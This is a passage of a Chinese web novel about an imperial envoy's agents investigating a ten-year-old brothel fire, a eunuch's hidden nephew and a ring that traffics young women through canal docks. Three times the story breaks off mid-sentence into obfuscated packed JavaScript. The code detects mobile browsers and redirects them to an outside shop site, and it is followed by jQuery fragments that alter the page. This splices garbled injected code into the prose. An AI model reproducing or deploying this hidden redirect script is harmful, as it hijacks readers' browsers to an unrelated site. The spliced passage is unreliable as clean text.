“景和十年腊月二十三，”高个男人忽然缓缓开口，“翠玉楼那场大火，死了二十七个人。忠勤伯府的戴衙内，翠玉楼的头牌水娘，还有……” 他顿了顿，一字一句道：“一个叫玉儿的丫鬟，和一个傻丫鬟随儿，活不见人，死不见尸。” 孙婆子的背脊僵住了。她缓缓转过身，脸上的笑容彻底消失了，取而代之的是一种混合着恐惧和戒备的神色。 “你们……到底是什么人？” 矮个男人将银子又往前推了推：“婆婆，坐下说话吧。我们只是想问清楚当年的事，问完了就走，绝不会给你添麻烦。” 孙婆子盯着那锭银子，又看了看两个男人。她知道，今天这事儿躲不过去了。她慢慢走到桌边，在长凳上坐下，双手在围裙上无意识地搓着。 “你们……要问什么？” 高个男人——秦海，从怀里取出一张画像，摊在桌上。画上是个年轻女子的侧脸，眉目精致，眼神却带着几分说不清道不明的媚态。 “认识她吗？” 孙婆子凑近看了看，瞳孔猛地收缩。虽然过去了十年，虽然画上的人年轻许多，但她还是一眼就认出来了——那是水娘，翠玉楼曾经最红的头牌，一曲琵琶能引得满堂掷金如雨的水娘。 “这……这是……” “水娘，对吧？”张超接口道，“翠玉楼的头牌，景和十年腊月二十三那晚，据说和戴明书一起死在了大火里。” 孙婆子的嘴唇动了动，没说话。 秦海又取出另一张画像。这张画上是个年纪更小的女子，约莫十三四岁，眉眼清秀，却带着几分怯生生的神色。 “这个呢？” 孙婆子看了一眼，手指开始微微发抖。那是玉儿，水娘的贴身丫鬟。大火那晚，有人说看见她从角门跑了，也有人说她死在了火里。后来官府发了海捕文书，可十年过去，再没消息。 “婆婆，”张超的声音温和了些，“我们知道你当年在翠玉楼烧茶水，那晚的事，你肯定看见了什么。说出来，这锭银子就是你的。我们保证，不会让第三个人知道是你说的。” 孙婆子沉默了很久。灶膛里的火噼啪作响，水壶里的水又开始咕嘟咕嘟地滚了。晨光透过门板的缝隙洒进来，在地上投下细长的光斑。 她终于开口，声音有些沙哑：“你们……为什么要查这些陈年旧事？” “查案。”秦海言简意赅，“一桩牵扯到江南的案子，可能和翠玉楼那场大火有关。” 孙婆子又沉默了。她想起十年前那个火光冲天的夜晚，想起那些凄厉的惨叫，想起浓烟中隐约看见的人影……那些画面，这些年来常常在她噩梦里出现。 “我说了，”她抬起头，眼中露出决然，“你们真能保证不牵连到我？” “以性命担保。”秦海沉声道。 孙婆子深吸一口气，像是下了很大的决心。她起身，走到门口左右看了看，确认官道上没人，才回身闩上门板。 茶馆里顿时暗了下来，只有灶膛里的火光和从窗缝透进来的微光。 孙婆子重新坐下，压低声音：“那你们问吧。不过我知道的也不多，就是个烧茶水的。” 秦海将画像推到她面前：“先说说水娘和玉儿。” 孙婆子看着画像，眼中闪过一丝复杂的情绪。那是追忆，是唏嘘，或许还有一丝不易察觉的恐惧。 “水娘啊……”她缓缓开口，“那时候真是红透了半边天。十六岁挂牌，十八岁就成了翠玉楼的头牌。长得美，琵琶弹得更好。一首《念奴娇》，能把人的魂都勾走。” 她顿了顿，像是沉浸在回忆里：“楼里的姑娘们都羡慕她，也嫉妒她。老鸨把她当摇钱树，捧在手心里怕摔了，含在嘴里怕化了。那些达官贵人，为了听她一曲，一掷千金都不眨眼。” “玉儿呢？”张超问。 “玉儿……”孙婆子扯了扯嘴角，露出一个说不清是同情还是讥讽的笑，“那孩子命苦。八岁那年被人牙子卖进来的，瘦得跟个干柴棍似的，看着就可怜。老鸨原本没看上她，是楼里一个过气的姑娘看她可怜，收在身边做了个粗使丫鬟。” “后来怎么成了水娘的贴身丫鬟？” “那是玉儿十二岁那年。”孙婆子回忆道，“小姑娘长开了，出落得水灵灵的。虽然比起水娘还差得远，但在丫鬟里算是拔尖的了。老鸨眼睛毒，看出她是个好苗子，就让她去伺候水娘，说是先历练历练，等水娘年纪大了，捧不上去了，就让玉儿顶上。” 她喝了口茶，继续说：“玉儿那孩子，看着怯生生的，其实心思活络。她知道这是机会，伺候水娘格外用心。水娘刚开始不太待见她，嫌她笨手笨脚。可玉儿会来事，嘴又甜，慢慢地，水娘也就用顺手了。” 秦海和张超对视一眼。这和之前查到的信息吻合——玉娘确实是水娘的贴身丫鬟，两人关系密切。 “景和十年腊月二十三那晚，”秦海盯着孙婆子，“到底发生了什么？” 孙婆子的脸色白了几分。她握紧手中的粗陶茶杯，指节有些泛白。 “那天……是小年夜。”她声音压得更低了，“楼里本来很热闹，姑娘们都在准备晚上的宴席。戴大爷是傍晚时分来的，带着几个跟班，一进门就嚷嚷着要水娘作陪。” 她顿了顿，眼中闪过厌恶：“戴大爷那个人，京城里谁不知道？表面上是个伯府公子，实际上……就是个禽兽。他折磨姑娘的手段，说出来都让人做噩梦。楼里的姑娘都怕他，可老鸨不敢得罪，收了五百两银子，硬是把水娘送进了他房间。” “后来呢？” “后来……”孙婆子的声音开始发抖，“后来大概戌时三刻，楼上忽然传来一声凄厉的惨叫。那声音……老身这辈子都忘不了......” 茶馆里静得可怕，只有灶膛里火苗跳跃的噼啪声。 “然后呢？”秦海追问。 “然后火就烧起来了。”孙婆子闭上眼睛，仿佛又看到了那晚冲天的火光，“先是从戴大爷所在的听雨轩冒烟，接着火苗就蹿出来了。楼里顿时乱成一团，姑娘们尖叫着往外跑，龟公、护院忙着救火，可火势太大，根本扑不灭。” 她睁开眼睛，眼中满是恐惧：“老身吓坏了，想从茶水房跑出去，可门被掉下来的梁柱堵住了。老身只好从楼梯间的一个小窗户爬出去，那是二楼，我闭着眼睛跳下去，腿都摔瘸了。” “你跑出来的时候，看见了什么？”秦海敏锐地抓住重点。 孙婆子沉默了很久，久到秦海几乎以为她不会说了。 “老身……”她终于开口，声音轻得像耳语，“老身一瘸一拐地往巷子口跑。那时候火已经烧得很大了，半边天都映红了。我跑到角门那里，想从那儿出去……” 她停下来，咽了口唾沫：“然后我看见了……一个人。” “谁？” “一个男人。”孙婆子说，“穿着深色的衣衫，披着黑色大氅，就站在角门外的阴影里。” 秦海和张超同时坐直了身子。 “可看清楚是什么样的男子？多大年纪，高矮胖瘦？” “看年纪大概二十多岁，当时天黑，我也看的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351724|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很清晰，身高嘛大概就和官人差不多。”孙婆子指了指秦海。 “你认识他吗？” 孙婆子摇头：“不认识。但戴大郎来的时候，是和他一起来的。我躲在茶水房的门缝里偷看过，戴大郎对他很客气，一口一个‘宋兄’。” 宋兄！ 秦海和张超心中同时一震。江南发运使崔琰的背后是宋贵妃，是宋国公府。这个“宋兄”，会不会就是宋家的人？ “那个人什么时候走的？”秦海急声问。 “没待多久。”孙婆子回忆道，“他们来的时候大概是酉时，那个人在楼里坐了不到一刻钟就走了。戴大爷留下来，指名要水娘。” “大火烧起来的时候，他为什么又回来了？” “我不知道。”孙婆子摇头，“但我看见他接了一个人。” “谁？” 孙婆子的嘴唇抖了抖：“玉儿。” 茶馆里再次陷入死寂。 灶膛里的火忽然爆了个灯花，吓了三人一跳。 “你看清楚了？”秦海的声音紧绷着。 “看清楚了。”孙婆子肯定地说，“虽然火光大，浓烟也多，但角门那里离火场远些。我躲在阴影里，看见玉儿从角门跑出来，头发散着，脸上有灰，但就是她没错。那个人接住她，两人一句话没说，就上了一辆停在外面的马车。马车很快走了，往北边去了。” 秦海和张超对视一眼，都从对方眼中看到了震惊。 “那水娘呢？”张超问，“你真的看见她和戴明书死在一起了？” 孙婆子摇头：“大火烧了一夜，五城兵马司来的时候，楼已经塌了。后来清点尸体，在听雨轩的废墟里找到两具抱在一起的焦尸。一具从身上的玉玦认出是戴大爷，另一具从残存的首饰衣物看，像是水娘。但……” 她顿了顿，眼中闪过一丝疑虑：“但那具女尸烧得太厉害了，根本看不出原本的样子。官府说是水娘，大家也就信了。可我现在想想……如果玉儿能跑出来，水娘为什么不能？” “你的意思是……”秦海瞳孔微缩。 “我不知道。”孙婆子摇头，“我只是个烧茶水的，不懂这些。但我记得，水娘身边除了玉儿，还有个傻丫鬟叫随儿。那孩子脑子不好使，平时就在后院干些粗活。大火那晚，有人看见她从倒夜香的那个门出去了，再没回来。” 秦海脑中迅速串联起线索。如果那具女尸不是水娘，而是傻丫鬟随儿呢？水娘放火烧了翠玉楼，杀了戴明书，然后扮作随儿从角门逃走？而玉儿，则被那个“宋兄”接走？ 这样一来，两个“失踪”的丫鬟就都有了下落。一个成了江南水月庵的住持水仙姑，一个成了崔琰干儿子的夫人崔娘子。 而这一切的背后，可能都有那个“宋兄”——宋家人的影子。 “婆婆，”秦海从怀中又取出一锭银子，和桌上那锭放在一起，“今天的话，到此为止。你从没见过我们，我们也没来过这里。明白吗？” 孙婆子看着那两锭银子，重重点头：“我明白。我老婆子还想多活几年。” 秦海和张超起身，正要离开，孙婆子忽然又叫住他们。 “还有一件事……”她犹豫着说，“我不知道有没有用。” “你说。” “玉儿被卖进翠玉楼之前……”孙婆子回忆道，“我听那个收留她的过气姑娘说过，玉儿好像不是普通人家出身。她爹原本是个小官，犯了事被抄家，女眷被发卖。玉儿那时候小，记不清家里具体是做什么的，只记得家里以前有过丫鬟仆人，还读过书。” 她顿了顿：“那姑娘还说，玉儿后背有块胎记，像片柳叶。老鸨验身的时候看见了，还笑着说‘倒是好认’。”说到这里，孙婆子犹豫了一下，又接着道：“楼里那夜逃出去的老身还看到一人，是个官员。” “官员？”秦海和张超心中又是一震。这或许是个关键线索。 “说是在骐骥院任职。也是那个过了气的姑娘说的。她也是个可怜人，可惜那晚也没逃得脱，唉，造孽！” 孙婆子提供的这条线索更加重要。 “多谢。”秦海郑重道，“婆婆可知道他身份，姓名？” 孙婆子摇了摇头，”老身知道的只有这么多了。” 两人见再也问不出什么，就不再多留，推开茶馆门走了出去。晨雾已经散了，官道上开始有行人车马。他们上了停在路边的一辆不起眼的马车，迅速离去。 茶馆里，孙婆子闩上门，背靠着门板，长长舒了一口气。她走到桌边，看着那两锭银子，伸手摸了摸，冰凉的触感让她稍微安心了些。 她将银子收进怀里，走到灶台前，继续烧水。水壶咕嘟咕嘟地响着，白气蒸腾，模糊了她满是皱纹的脸。 那些陈年旧事，她原本以为会烂在肚子里，带进棺材。没想到十年过去了，还是被人翻了出来。 她想起水娘弹琵琶时低眉顺眼的样子，想起玉儿刚来时瘦骨嶙峋的模样，想起那晚冲天的火光和凄厉的惨叫…… “造孽啊……”她喃喃自语，往灶膛里添了把柴。 火苗蹿得更高了，映得她脸上明明灭灭。 70. 第70章 崔旺的身份 酉时未过，天色便已暗沉下来。 裴宴坐在宽大的紫檀木书案后，面前摊着一幅江南水陆舆图，上面用朱笔圈出了数个地点：归平县码头、水月庵、柳枝巷、还有几条纵横交错的漕运水道。 他手里握着一支狼毫笔，笔尖悬在舆图上方，久久未落。 窗外传来风声，卷着几片枯黄的梧桐叶拍打在窗棂上，发出簌簌的声响。更深露重，寒意顺着窗缝丝丝渗入，书房内清冷无比，灯光映衬下裴宴俊逸的脸显得温润了不少，门被轻轻叩响。 “进来。”裴宴没有抬头。 长风推门而入，身后跟着一名身着夜行衣的男子。那男子约莫三十岁年纪，面容普通，属于扔进人堆里就找不出来的那种，唯有一双眼睛格外锐利，在烛光下闪着精光。 “郎主，无痕回来了。”长风低声禀报。 无痕和飞雁是裴宴的暗卫。 裴宴这才抬起眼，目光落在无痕身上：“如何？” 无痕单膝跪地，声音平稳：“禀郎主，崔旺的身份已查明。” “说。” “崔旺，原名崔文康，祖籍滁州。其父崔守义曾任滁州府户房书吏，后因牵扯一桩钱粮亏空案被革职查办，家道中落。崔旺八岁时父母双亡，被远房堂叔崔琰收留。”暗探语速不快，字字清晰，“崔琰其时已在宫中当差，虽只是个小太监，但颇得当时还是才人的宋贵妃赏识。” 裴宴眼神微凝：“接着说。” “崔旺在崔琰京中宅邸长到十四岁，后被送入宋家在京郊的一处田庄做管事学徒。十八岁时，崔琰已升任内侍省都知，将崔旺调回身边，改名崔旺，对外称是远房侄儿，实为心腹。”无痕从怀中取出一卷誊抄的户籍文书，双手呈上，“这是属下从滁州府旧档中抄录的崔氏宗谱片段，还有宋家田庄二十年前的仆役名册。” 长风接过文书，摊开在裴宴面前。 烛光下，泛黄的纸页上字迹潦草，但关键信息清晰可见：崔守义，滁州府户房书吏，景和三年因案革职；其子崔文康，时年八岁，父母双亡后由叔父崔琰收养。 另一页是宋家田庄的仆役名册，在“景和六年新进仆役”一栏中，赫然写着“崔文康，年十四，滁州人，荐者：崔公公”。 “崔琰与戴明书有何关联？”裴宴手指轻叩桌案。 无痕略一沉吟：“属下走访了崔琰老家几位年长者。据他们回忆，崔家原本也是书香门第，崔琰的祖父曾中过举人，在地方上颇有声望。但到了崔琰父亲这一代，家道开始中落。崔琰少时曾随父进京访友，在京城住过一段时日。” 他顿了顿，压低声音：“其中一位老者说，崔琰年轻时心高气傲，一心想重振家声。但有一次在京中诗会上，因出身寒微遭人嘲笑，当中羞辱他最甚的，便是忠勤伯府的戴明书。此事对崔琰刺激颇深，据说他离京回乡后闭门不出数月，再后来……就进宫了。” 书房内一时寂静，只有烛火偶尔爆开的细微噼啪声。 裴宴目光深邃。一个因家道中落、遭人羞辱的少年，怀恨在心，后来得势，设计报复——这动机确实合理。 “宋家在这其中扮演什么角色？”他问。 无痕道：“崔琰入宫后，最初并不起眼。直到景和六年，宋才人晋封嫔位，崔琰被调到她宫中伺候。宋嫔。也就是后来的宋贵妃。看出崔琰机敏能干，开始提拔他。崔琰也确实不负所望，办事稳妥，逐渐成为宋贵妃的心腹。” “而宋家，”无痕声音更低了，“与忠勤伯府素有嫌隙。忠勤伯虽爵位不高，但在朝中根基颇深，且与宋家的政敌走得近。戴明书作为忠勤伯嫡长子，若出事，对忠勤伯府是沉重打击。” 裴宴嘴角勾起一抹冷笑：“所以，崔琰要报仇，宋家要打击政敌，双方一拍即合。戴明书就这样成了牺牲品。” “大人明鉴。”无痕垂首。 “那么玉娘呢？”裴宴追问，“崔旺与她，又是什么关系？” 无痕从怀中又取出一份文书：“这是属下从滁州府另一卷旧档中发现的。崔守义家与邻户罗家交好，两家曾为子女定下婚约——崔守义之女崔秀娥，许配给罗家长子罗明轩。” 裴宴眉头微挑：“崔旺的姐姐？” “正是。”无痕点头，“但崔秀娥在十三岁时染病夭折，婚约自然作废。后来罗家也遭变故，罗明轩的父亲因一桩官司被牵连入狱，家产充公。罗家男子发配，罗家女眷被发卖，其中就包括罗明轩的幼妹，当时年方八岁，名唤罗玉儿。” 烛火摇曳，将裴宴的影子投在墙上，拉得很长。 “罗玉儿被卖入翠玉楼，成了后来的玉娘。而崔旺，在得知罗家遭难后，曾多方打听罗玉儿下落。”暗探继续说，“但当时他才入了崔府，人微言轻，直到数年后在崔琰身边站稳脚跟，才重新开始寻找。” “他找到了？” “找到了。”无痕肯定道，“景和九年，也就是翠玉楼大火前一年，崔旺通过崔琰的关系，查到罗玉儿在翠玉楼。但他没有立即相认，而是暗中观察。这期间，罗玉儿已成了水娘的贴身丫鬟。” 裴宴站起身，踱到窗前。夜色浓重，远处的菰城灯火零星，更夫打更的梆子声隐约传来，已是亥时。 他转过身，烛光在他脸上投下明明灭灭的光影：“所以，景和十年腊月二十三那晚，崔旺很可能也参与了。” “极有可能。”无痕分析道，“崔琰要杀戴明书，需要翠玉楼内部有人配合。水娘不愿接戴明书这个客人，正好可以利用。而玉娘作为水娘贴身丫鬟，若答应相助，不仅能报仇。戴明书折磨女子手段残忍，玉娘在翠玉楼想必也听说过。还能借此脱离苦海，与崔旺团聚。” 裴宴走回书案前，手指在舆图上那个标着“水月庵”的红圈上轻轻一点：“水娘李代桃僵，用傻丫鬟随儿替死，自己扮作随儿逃脱。而玉娘，则被那个宋兄，很可能是宋家派来善后的人接走。” 他抬眼看向暗探：“那个宋兄的身份，有线索吗？” 无痕面露难色：“时间久远，且当时在场之人非死即散，难以查证。但属下推测，此人必是宋家核心人物，否则无法调动资源接应玉娘，并将她安然送到崔旺身边。” 裴宴沉默片刻，忽然问：“崔旺当时是否在场？” “属下尚未查到。” “他与玉娘，是何时成亲的？” “景和十一年春，也就是大火后三个月。”无痕答道，“崔旺以远房表妹的身份，将玉娘接回宅中。半年后正式成亲，对外称玉娘是小户良家女，因父母双亡来投奔。还有一点，崔旺曾成过亲，育有一女，只不过前妻据说一年前亡故。” “真巧。时间对得上。”裴宴冷笑，“一场大火，死了二十三个人，却成全了两对有情人。崔琰报了仇，崔旺找回了青梅竹马。好算计。” 长风在一旁忍不住插话：“郎主，那水娘……如今的水仙姑，她在这其中又得到了什么？总不会白白冒险吧？” 裴宴重新坐下，端起早已凉透的茶盏，抿了一口：“水娘，或许我们提审了她才能完全了解当时的情形。不过水娘一个青楼女子，即便红极一时，终究是玩物。借这场大火，她不但可以摆脱娼籍，还能改头换面，何乐而不为。至于她后来为何会成为水月庵住持，又为何与王大官人勾结贩卖人口……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355330|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他放下茶盏，眼中寒光一闪：“那恐怕就是另一桩交易了。” 书房内再次陷入沉默。炭火在铜盆里静静燃烧，偶尔爆出几点火星。 无痕跪在地上，等待下一步指令。 良久，裴宴才缓缓开口：“你下去吧。这些消息，不得外传。” “属下明白。”无痕起身，躬身退出书房。 门轻轻合上。长风走到裴宴身边，低声道：“郎主，如今崔旺和玉娘，也就是崔娘子的身份已经明朗。他们与崔琰、宋家关系密切，又与翠玉楼大火有牵连。那水仙姑更是关键人物，她知道戴明书之死的全部真相。” 裴宴没有立刻回应。他重新看向舆图，目光在几个红圈之间移动。 水月庵、柳枝巷、归平县码头、漕运水道……这些点看似分散，实则被一条看不见的线串联着。线的一端是十年前京城的翠玉楼大火，另一端是如今江南的人口贩卖和漕运贪腐。 而握着这条线的人，很可能就是宋家。 “崔琰如今在江南经营多年，掌漕运之利，与地方官员勾结，已成尾大不掉之势。”裴宴声音低沉，“陛下派我来，明为赈灾，实为查案。如今看来，这案子牵扯无数朝中大臣，上回陛下就有所顾虑，陛下……也难。” 长风担忧道：“郎主，若真牵扯到宋家……宋贵妃在宫中圣眷正隆，宋国公在朝中势力庞大。咱们……” “怕了？”裴宴抬眼看他。 长风挺直腰板：“小的不怕！小的只是担心郎主安危。江南天高皇帝远，若他们狗急跳墙……” “他们不敢。”裴宴打断他，语气平静却带着不容置疑的威严，“至少现在不敢。我是钦差，奉皇命而来，若在江南出事，朝廷必会彻查。宋家再大胆，也不敢明目张胆地对钦差下手。” 他顿了顿，眼中闪过锐利的光：“但他们会在暗中使绊子，会阻挠查案，甚至会……灭口。” “灭口？”长风一惊。 “水仙姑。”裴宴缓缓吐出这三个字，“她是戴明书之死的直接参与者，知道太多秘密。若我们继续查下去，宋家和崔琰第一个要除掉的就是她。” 长风倒吸一口凉气：“那咱们得赶紧……” “不急。”裴宴摆摆手，“水仙姑也不是省油的灯。她能从十年前那场大火中逃脱，能在水月庵站稳脚跟，还能与王大官人勾结做略卖人口的勾当——这样的女人，不会坐以待毙。” 他手指在舆图上轻轻划过：“我们现在要做的，是找到确凿证据。崔旺和玉娘的身份虽然已经确认，但要定崔琰的罪，还需要更直接的人证和物证。” “郎主的意思是……” “双管齐下。”裴宴站起身，走到书架前，取出一卷空白奏折，“一方面，继续盯紧崔娘子和水仙姑，她们之间必有联络。另一方面，从漕运账目入手，崔琰在江南这些年，贪墨的银两绝不会少，这些钱流向何处，就是突破口。” 他开始研墨，动作沉稳有力：“秦海和张超那边，应该快有消息了。等他们回来，我要知道那个‘宋兄’到底是谁。” 长风肃然：“小的明白。 窗外夜色更深了。秋风呼啸而过，卷起满庭落叶。远处传来隐约的更鼓声，已是亥时三刻。 裴宴写完最后一笔，将奏折合上，用火漆封好。这是呈给皇帝的密折，详细禀报了江南漕运案的初步调查结果，以及崔琰与宋家可能的关联。他没有提及翠玉楼旧案——时机未到，证据不足。 “明日一早，让人八百里加急，送往京城。”他将密折递给长风。 “是。”长风双手接过，小心翼翼地收入怀中。 71. 第71章 线索 果然如裴宴所料，第二日午时便收到了京城传来的消息，这下如一块投入静水的石头，在裴宴的心上激起层层涟漪。他下令秦海和张超继续深入调查。 秦海和张超接到指令后，不敢耽搁，立即从十里铺折返京城，直奔骐骥院。 骐骥院在大越朝掌天下马政，衙门设在城西一条僻静的巷子里。门口两尊石狮，朱漆大门紧闭，只有侧门开着，偶尔有官员出入。秦海和张超在斜对面的茶楼里守了两日，终于等到了他们要见的人。 那是个年过半百的老吏，姓周，在骐骥院做了三十年文书，对院内大小事务了如指掌。秦海托了关系，以同乡的名义约他在茶楼见面。 周吏员瘦瘦小小，穿着一身半旧的青布袍子，一双眼睛却透着几分精明。他坐下后，看着对面两个同乡，眼中闪过一丝狐疑。 “两位……真是滁州来的？”他慢吞吞地问，“老朽在京城三十年，滁州口音还是听得出来的。” 张超笑着给他斟茶：“周伯好耳力。实不相瞒，我们兄弟是替人办事的。想打听一个人。” “谁？” “十年前在骐骥院当差的，姓崔。”张超压低声音，“听说如今不在京城了，去了江南。” 周吏员端着茶杯的手微微一顿。他抬眼看了看两人，沉默片刻，才道：“你们打听他做什么？” 秦海从袖中摸出一锭银子，放在桌上。银子足有十两，在茶楼昏暗的光线里泛着诱人的光。 “周伯别误会。我们只是想知道那人如今的下落，没别的意思。” 周吏员盯着那锭银子看了许久，脸上露出一丝犹疑，良久才轻叹一声，将银子拢进袖中。 “罢了，老朽这把年纪，也不怕得罪谁。”他压低声音，“你们说的是崔文康吧？就是那个后来改名叫崔旺的。” 秦海和张超对视一眼——崔旺！果然是他！ “他当年在骐骥院做什么？” “做什么？”周吏员撇撇嘴，“就是个跑腿的小吏。他有个堂叔在宫里当差，托了关系把他塞进来的。那小子倒是机灵，做事也勤快，就是……心思太重。” “心思太重？” “总想着往上爬。”周吏员喝了口茶，“在骐骥院干了三年，忽然有一天就辞了。说是被一个远房亲戚看中，要带他去江南发财。” “远房亲戚？”秦海追问，“什么人？” 周吏员摇头：“这老朽就不清楚了。只听他说，那亲戚在江南做官，姓崔，和他同姓，好像是发运使还是什么。老朽当时还纳闷，一个发运使，怎么就看上他一个小吏了？” 发运使崔琰！ 秦海和张超相互很有默契的看了对方一眼。这线索终于连上了。崔旺本就是崔琰的人，从十年前开始就是了！他去骐骥院当差，说不定也是崔琰的安排！ “他走之前，有没有提过别的？”张超问，“比如，认不认识一个姓宋的？” 周吏员皱眉想了想，忽然一拍大腿：“你这么一说，老朽想起来了。他走之前那阵子，确实常和一个年轻人来往。那年轻人常来找他，两人躲在角落里嘀嘀咕咕的。老朽有次路过，听见崔文康说：“......宋兄且放宽心，都里有自己人，不过到时候还需要宋兄帮我一个忙。事成之后，定重谢......”周吏员说到这里，面露难色，“或许当时是老朽的脚步声有些重，被他们听到了，谈话就此打住。” “那年轻人长什么样？” “二十来岁，穿得讲究，一看就是大户人家出来的。”周吏员回忆道，“有次老朽看见他骑马来，那马是御马监的好马，一般人可弄不到。” 秦海和张超对视一眼——御马监的好马，那是皇亲国戚才能用的！这“宋兄”的身份，越来越清晰了。 “后来呢？”秦海追问。 “后来崔文康就走了，那年轻人也没再来过。”周吏员耸耸肩，“老朽以为这事儿就这么过去了。没想到过了几年，听说那年轻人出事了。” “出什么事？” “具体的不知道。”周吏员压低声音，“好像是卷进什么案子，被宋国公府打发回乡下去了。宋国公你们知道吧？那是贵妃娘娘的娘家，得罪不得。他府里的事，谁敢多问？” 宋国公府！ 秦海和张超心中同时闪过一个念头，那个宋兄，果然是宋家的人！是宋国公府的人！ “周伯，”秦海从怀中又取出一张画像，“您看看，那年轻人是不是这个？” 画像上是他们根据孙婆子描述，请画师绘制的宋大模样。周吏员凑近看了看，眯着眼想了半天，不确定地说：“眉眼有点像……但老朽记不太清了，毕竟十年了。” 他顿了顿，又补充道：“不过有件事老朽记得清楚，那年轻人右手虎口有块疤，像是烫伤的。有次他递东西给崔文康，老朽正好看见。” 右手虎口有疤。这个特征太关键了！ 秦海和张超谢过周吏员，离开了茶楼。两人走在京城熙熙攘攘的街道上。 “宋家的人。”张超低声道，“果然是他们。” 秦海眯起眼，“那个宋大，既然被宋国公府打发回乡下去，肯定知道些什么。咱们得找到他。” “可他在哪儿？” 秦海想了想：“既然是宋国公老家的人，多半被送回原籍了。宋国公祖籍在……应天府。” “应天府离江南不远。”张超眼中闪过兴奋，“郎主正好在江南，咱们可以顺藤摸瓜！” 两人不敢耽搁，当即去驿站，将最新查到的线索写成密报，八百里加急送往江南。 与此同时，菰城这边，裴宴也没有闲着。 王兆仁那边，长风安排的人已经盯了数日，终于有了突破。 这日傍晚，长风匆匆走进书房，脸上带着压抑不住的喜色。 “郎主，抓到了。” 裴宴从案牍间抬起头：“什么人？” “王兆贵身边的亲信，姓苟，人都叫他苟文书。”长风压低声音，“此人负责替王兆贵打理见不得光的账目，今日午后在码头接货时，被咱们的人堵了个正着。” “接的什么货？” 长风眼中闪过寒光：“两个女子，十四五岁，用麻袋装着，说是从北边逃荒来的，要送去归平县王兆贵那里做奴婢。属下让人暗中跟着，发现她们被送进了城东一处宅子——那宅子是王兆贵的私产，明面上是他养外室的地方，实际上……” 他顿了顿，声音更低：“属下让人趁夜摸进去看了，那宅子后院有个地窖，里面关了七八个女子。最大的不过二十，最小的……十二三岁。” 裴宴握着笔的手猛地收紧，笔杆发出细微的咯吱声。他闭了闭眼，深吸一口气，才将那股汹涌的怒意压下去。 “人呢？” “苟文书已经被控制住了，关在行辕后院柴房里。”长风道，“他嘴硬得很，一开始什么都不肯说。小的用了点手段，他才松口——但只承认那两个女子是王兆贵要的，其他的打死不认。” “不认？”裴宴冷笑，“那就让他认。” 他站起身，披上外袍：“带我去见见他。” 柴房在行辕最深处，偏僻阴冷。门口守着两个侍卫，见裴宴来了，立即躬身行礼。 长风推开门，一股霉味和血腥气扑面而来。 柴房里只有一盏油灯，昏黄的光晕照出一个蜷缩在墙角的身影。那是个四十来岁的中年男子，穿着一身皱巴巴的绸衫，此刻衣衫凌乱，脸上带着青紫的伤痕，整个人抖得像筛糠。 听见脚步声，他猛地抬头，看清来人后，眼中闪过惊恐。 此人他见过，在前些日子水患时，此人巡视归平县，他跟在大官人身后远远看到的。 “裴，裴安抚……”苟文书脸色发白声音发颤，“小人冤枉啊！小人什么都不知道……” 裴宴在他面前站定，居高临下地看着他。油灯的光从他背后照来，将他整个人笼罩在阴影里，唯有那双眼睛冷得像深冬的寒潭。 “什么都不知道？”他的声音不高，却带着让人胆寒的威压，“那两个女子，是你亲自接的。她们现在在城东宅子的地窖里。你还要说不知道？” 苟文书的脸更白了，嘴唇哆嗦着，却说不出话。 “本官给你两条路。”裴宴缓缓道，“第一条，你如实招供，把你知道的都说出来。本官可以保你一条命，发配充军，总有活路。” 苟文书眼中闪过挣扎。 “第二条，”裴宴的声音冷了下去，“你继续嘴硬。本官有的是办法让你开口。等你说出来的时候，罪名会多加一条。拒捕抗供，罪加一等。到时候，你这条命，就保不住了。” 柴房里静得可怕，只有油灯偶尔爆开的噼啪声。苟文书的喘息声越来越重，脸上的冷汗涔涔而下。 终于，他像是被抽去了所有力气，瘫软在地上。 “我……我说……” 裴宴转身，在长风搬来的椅子上坐下。他微微颔首，示意苟文书开口。 苟文书咽了口唾沫，断断续续地说起来。 他是王兆贵的心腹，替他打理那些见不得光的生意。其中最要紧的一桩，就是“送人”。 “送什么人？”裴宴问。 “女……女子。”苟文书低着头，“从各处收来的，有逃荒的，有被家里人卖的，也有……也有拐来的。先送到归平县王兆贵的私宅，由他筛选。长得好的，身家清白的，留下；剩下的，再送到别处。” “别处是哪里？” 苟文书哆嗦了一下，不敢抬头：“漕……漕运码头上。有崔大人的人来接。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358795|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔大人。崔琰？ 裴宴眼中寒光一闪：“接去做什么？” “小人……小人不知道。”苟文书拼命摇头，“真的不知道！小人只管送到码头，交接的人自会处理。那些女子去了哪里，是死是活，小人从不过问！” “交接的人是谁？” “是……是崔大人手下一个姓陈的纲头。”苟文书道，“他每次都在三号码头等着，带几个船工。人交给他，就没小人的事了。” “这些年，送了多少？” 